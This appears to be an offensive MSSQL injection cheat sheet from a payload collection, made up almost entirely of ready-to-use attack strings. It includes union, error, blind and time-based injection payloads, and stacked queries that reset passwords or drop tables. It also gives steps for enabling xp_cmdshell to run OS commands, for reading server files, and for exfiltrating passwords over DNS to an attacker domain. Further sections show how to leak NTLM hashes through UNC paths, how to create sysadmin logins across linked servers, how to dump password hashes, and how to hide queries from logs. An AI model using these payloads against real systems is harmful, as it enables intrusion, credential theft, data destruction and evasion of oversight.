215 Payloads
15 Wordlists

SQL Injection Payloads & Testing Methodology

Detecting the entry point in SQL injection (SQLi) involves identifying locations in an application where user input is not properly sanitized before it is included in SQL queries.

MSSQL Injection#

MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.

Summary#

MSSQL Default Databases#

NameDescription
pubsNot available on MSSQL 2005
modelAvailable in all versions
msdbAvailable in all versions
tempdbAvailable in all versions
northwindAvailable in all versions
information_schemaAvailable from MSSQL 2000 and higher

MSSQL Comments#

TypeDescription
/* MSSQL Comment */C-style comment
--SQL comment
;%00Null byte

MSSQL Enumeration#

DescriptionSQL Query
DBMS versionSELECT @@version
Database nameSELECT DB_NAME()
Database schemaSELECT SCHEMA_NAME()
HostnameSELECT HOST_NAME()
HostnameSELECT @@hostname
HostnameSELECT @@SERVERNAME
HostnameSELECT SERVERPROPERTY('productversion')
HostnameSELECT SERVERPROPERTY('productlevel')
HostnameSELECT SERVERPROPERTY('edition')
UserSELECT CURRENT_USER
UserSELECT user_name();
UserSELECT system_user;
UserSELECT user;

MSSQL List Databases#

sql9 lines
SELECT name FROM master..sysdatabases;
SELECT name FROM master.sys.databases;

-- for N = 0, 1, 2, …
SELECT DB_NAME(N); 

-- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb 
-- (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; 

MSSQL List Tables#

sql13 lines
-- use xtype = 'V' for views
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U'
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';

SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>'

-- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';

MSSQL List Columns#

sql9 lines
-- for the current DB only
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 

SELECT table_catalog, column_name FROM information_schema.columns

SELECT COL_NAME(OBJECT_ID('<DBNAME>.<TABLE_NAME>'), <INDEX>)

MSSQL Union Based#

  • Extract databases names
sql4 lines
    $ SELECT name FROM master..sysdatabases
    [*] Injection
    [*] msdb
    [*] tempdb
  • Extract tables from Injection database
sql4 lines
    $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
    [*] Profiles
    [*] Roles
    [*] Users
  • Extract columns for the table Users
sql3 lines
    $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
    [*] UserId
    [*] UserName
  • Finally extract the data
sql1 line
    SELECT  UserId, UserName from Users

MSSQL Error Based#

NamePayload
CONVERTAND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -
INAND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -
EQUALAND 1337=CONCAT('~',(SELECT @@version),'~') -- -
CASTCAST((SELECT @@version) AS INT)
  • For integer inputs
sql2 lines
    convert(int,@@version)
    cast((SELECT @@version) as int)
  • For string inputs
sql2 lines
    ' + convert(int,@@version) + '
    ' + cast((SELECT @@version) as int) + '

MSSQL Blind Based#

sql1 line
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
sql3 lines
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

MSSQL Blind With Substring Equivalent#

FunctionExample
SUBSTRINGSUBSTRING('foobar', <START>, <LENGTH>)

Examples:

sql4 lines
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

MSSQL Time Based#

In a time-based blind SQL injection attack, an attacker injects a payload that uses WAITFOR DELAY to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.

sql5 lines
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
sql2 lines
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

MSSQL Stacked Query#

  • Stacked query without any statement terminator
sql9 lines
    -- multiple SELECT statements
    SELECT 'A'SELECT 'B'SELECT 'C'

    -- updating password with a stacked query
    SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--

    -- using the stacked query to enable xp_cmdshell
    -- you won't have the output of the query, redirect it to a file 
    SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
  • Use a semi-colon ";" to add another query
sql1 line
    ProductID=1; DROP members--

MSSQL File Manipulation#

MSSQL Read File#

**Permissions**: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

sql1 line
OPENROWSET(BULK 'C:\path\to\file', SINGLE_CLOB)

Example:

sql1 line
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

MSSQL Write File#

sql1 line
execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'

MSSQL Command Execution#

XP_CMDSHELL#

xp_cmdshell is a system stored procedure in Microsoft SQL Server that allows you to run operating system commands directly from within T-SQL (Transact-SQL).

sql3 lines
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

If you need to reactivate xp_cmdshell, it is disabled by default in SQL Server 2005.

sql7 lines
-- Enable advanced options
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

Python Script#

Executed by a different user than the one using xp_cmdshell to execute commands
powershell3 lines
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'

MSSQL Out of Band#

MSSQL DNS exfiltration#

Technique from @ptswarm

  • **Permission**: Requires VIEW SERVER STATE permission on the server.
powershell1 line
    1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.xem',null,null))
  • **Permission**: Requires the CONTROL SERVER permission.
powershell2 lines
    1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\',default,default)))
    1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.trc',default))

MSSQL UNC Path#

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.

sql1 line
1'; use master; exec xp_dirtree '\\10.10.10.10\SHARE';-- 
sql11 lines
xp_dirtree '\\10.10.10.10\file'
xp_fileexist '\\10.10.10.10\file'
BACKUP LOG [TESTING] TO DISK = '\\10.10.10.10\file'
BACKUP DATABASE [TESTING] TO DISK = '\\10.10.10.10\file'
RESTORE LOG [TESTING] FROM DISK = '\\10.10.10.10\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\10.10.10.10\file'
RESTORE HEADERONLY FROM DISK = '\\10.10.10.10\file'
RESTORE FILELISTONLY FROM DISK = '\\10.10.10.10\file'
RESTORE LABELONLY FROM DISK = '\\10.10.10.10\file'
RESTORE REWINDONLY FROM DISK = '\\10.10.10.10\file'
RESTORE VERIFYONLY FROM DISK = '\\10.10.10.10\file'

A trusted link in Microsoft SQL Server is a linked server relationship that allows one SQL Server instance to execute queries and even remote procedures on another server (or external OLE DB source) as if the remote server were part of the local environment. Linked servers expose options that control whether remote procedures and RPC calls are allowed and what security context is used on the remote server.

The links between databases work even across forest trusts.
  • Find links using sysservers: contains one row for each server that an instance of SQL Server can access as an OLE DB data source.
sql1 line
    select * from master..sysservers
  • Execute query through the link
sql5 lines
    select * from openquery("dcorp-sql1", 'select * from master..sysservers')
    select version from openquery("linkedserver", 'select @@version as version')

    -- Chain multiple openquery
    select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
  • Execute shell commands
sql7 lines
    -- Enable xp_cmdshell and execute "dir" command
    EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
    select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

    -- Create a SQL user and give sysadmin privileges
    EXECUTE('EXECUTE(''CREATE LOGIN User WITH PASSWORD = ''''Password123'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02"
    EXECUTE('EXECUTE(''sp_addsrvrolemember ''''User'''' , ''''sysadmin'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02"

MSSQL Privileges#

MSSQL List Permissions#

  • Listing effective permissions of current user on the server.
sql1 line
    SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 
  • Listing effective permissions of current user on the database.
sql1 line
    SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
  • Listing effective permissions of current user on a view.
sql1 line
    SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; 
  • Check if current user is a member of the specified server role.
sql2 lines
    -- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
    SELECT is_srvrolemember('sysadmin');

MSSQL Make User DBA#

sql1 line
EXEC master.dbo.sp_addsrvrolemember 'User', 'sysadmin';

MSSQL Database Credentials#

  • **MSSQL 2000**: Hashcat mode 131: 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
sql3 lines
    SELECT name, password FROM master..sysxlogins
    SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
    -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
  • **MSSQL 2005**: Hashcat mode 132: 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
sql2 lines
    SELECT name, password_hash FROM master.sys.sql_logins
    SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

MSSQL OPSEC#

Use SP_PASSWORD in a query to hide from the logs like : ' AND 1=1--sp_password

sql2 lines
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

References#